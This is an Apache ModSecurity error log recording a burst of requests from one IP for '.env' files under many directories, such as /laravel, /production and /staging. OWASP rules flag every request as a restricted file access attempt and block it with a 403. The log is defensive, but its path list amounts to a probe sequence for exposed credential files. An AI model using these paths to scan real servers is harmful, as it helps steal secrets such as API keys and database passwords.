[Tue Oct 27 08:28:05.204830 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auCY1Y0JjhEi1NzVi4XsjwAAAAc"]
[Tue Oct 27 08:28:05.205095 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auCY1Y0JjhEi1NzVi4XsjwAAAAc"]
[Tue Oct 27 08:28:05.255872 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auCY1W_oZ855J3-bmxEqlwAAAAY"]
[Tue Oct 27 08:28:05.256038 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auCY1W_oZ855J3-bmxEqlwAAAAY"]
[Tue Oct 27 08:28:05.256307 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auCY1W_oZ855J3-bmxEqlwAAAAY"]
[Tue Oct 27 08:28:05.271280 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auCY1QJ0bI7Z9n11TMADdgAAAAA"]
[Tue Oct 27 08:28:05.271416 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auCY1QJ0bI7Z9n11TMADdgAAAAA"]
[Tue Oct 27 08:28:05.271682 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auCY1QJ0bI7Z9n11TMADdgAAAAA"]
[Tue Oct 27 08:28:05.391896 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auCY1W_oZ855J3-bmxEqmAAAAAY"]
[Tue Oct 27 08:28:05.392086 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auCY1W_oZ855J3-bmxEqmAAAAAY"]
[Tue Oct 27 08:28:05.392349 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auCY1W_oZ855J3-bmxEqmAAAAAY"]
[Tue Oct 27 08:28:05.461151 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auCY1QHzNpgY2H50otlp1gAAAAg"]
[Tue Oct 27 08:28:05.461362 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auCY1QHzNpgY2H50otlp1gAAAAg"]
[Tue Oct 27 08:28:05.461622 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auCY1QHzNpgY2H50otlp1gAAAAg"]
[Tue Oct 27 08:28:05.464258 2026] [security2:error] [pid 3233595:tid 3233595] [client 104.199.36.53:45874] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auCY1bmZ7VoTwYSWFNMQywAAAAQ"]
[Tue Oct 27 08:28:05.464444 2026] [security2:error] [pid 3233595:tid 3233595] [client 104.199.36.53:45874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auCY1bmZ7VoTwYSWFNMQywAAAAQ"]
[Tue Oct 27 08:28:05.464802 2026] [security2:error] [pid 3233595:tid 3233595] [client 104.199.36.53:45874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auCY1bmZ7VoTwYSWFNMQywAAAAQ"]
[Tue Oct 27 08:28:05.477050 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auCY1Q0kN5bHfPWi5uxzugAAAAU"]
[Tue Oct 27 08:28:05.477217 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auCY1Q0kN5bHfPWi5uxzugAAAAU"]
[Tue Oct 27 08:28:05.477465 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auCY1Q0kN5bHfPWi5uxzugAAAAU"]
[Tue Oct 27 08:28:05.531281 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auCY1XOijkS-hyCWJGdKAwAAAAI"]
[Tue Oct 27 08:28:05.531341 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auCY1QJ0bI7Z9n11TMADeAAAAAA"]
[Tue Oct 27 08:28:05.531476 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auCY1XOijkS-hyCWJGdKAwAAAAI"]
[Tue Oct 27 08:28:05.531543 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auCY1QJ0bI7Z9n11TMADeAAAAAA"]
[Tue Oct 27 08:28:05.531823 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auCY1XOijkS-hyCWJGdKAwAAAAI"]
[Tue Oct 27 08:28:05.531876 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auCY1QJ0bI7Z9n11TMADeAAAAAA"]
[Tue Oct 27 08:28:05.551874 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auCY1QHzNpgY2H50otlp1wAAAAg"]
[Tue Oct 27 08:28:05.552023 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auCY1QHzNpgY2H50otlp1wAAAAg"]
[Tue Oct 27 08:28:05.552298 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auCY1QHzNpgY2H50otlp1wAAAAg"]
[Tue Oct 27 08:28:05.602614 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auCY1WUNDY12-2npPMSGLgAAAAo"]
[Tue Oct 27 08:28:05.602798 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auCY1WUNDY12-2npPMSGLgAAAAo"]
[Tue Oct 27 08:28:05.603090 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auCY1WUNDY12-2npPMSGLgAAAAo"]
[Tue Oct 27 08:28:05.607654 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auCY1Q0kN5bHfPWi5uxzuwAAAAU"]
[Tue Oct 27 08:28:05.607832 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auCY1Q0kN5bHfPWi5uxzuwAAAAU"]
[Tue Oct 27 08:28:05.608088 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auCY1Q0kN5bHfPWi5uxzuwAAAAU"]
[Tue Oct 27 08:28:05.617442 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auCY1QJ0bI7Z9n11TMADeQAAAAA"]
[Tue Oct 27 08:28:05.617604 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auCY1QJ0bI7Z9n11TMADeQAAAAA"]
[Tue Oct 27 08:28:05.617848 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auCY1QJ0bI7Z9n11TMADeQAAAAA"]
[Tue Oct 27 08:28:05.626522 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auCY1XOijkS-hyCWJGdKBAAAAAI"]
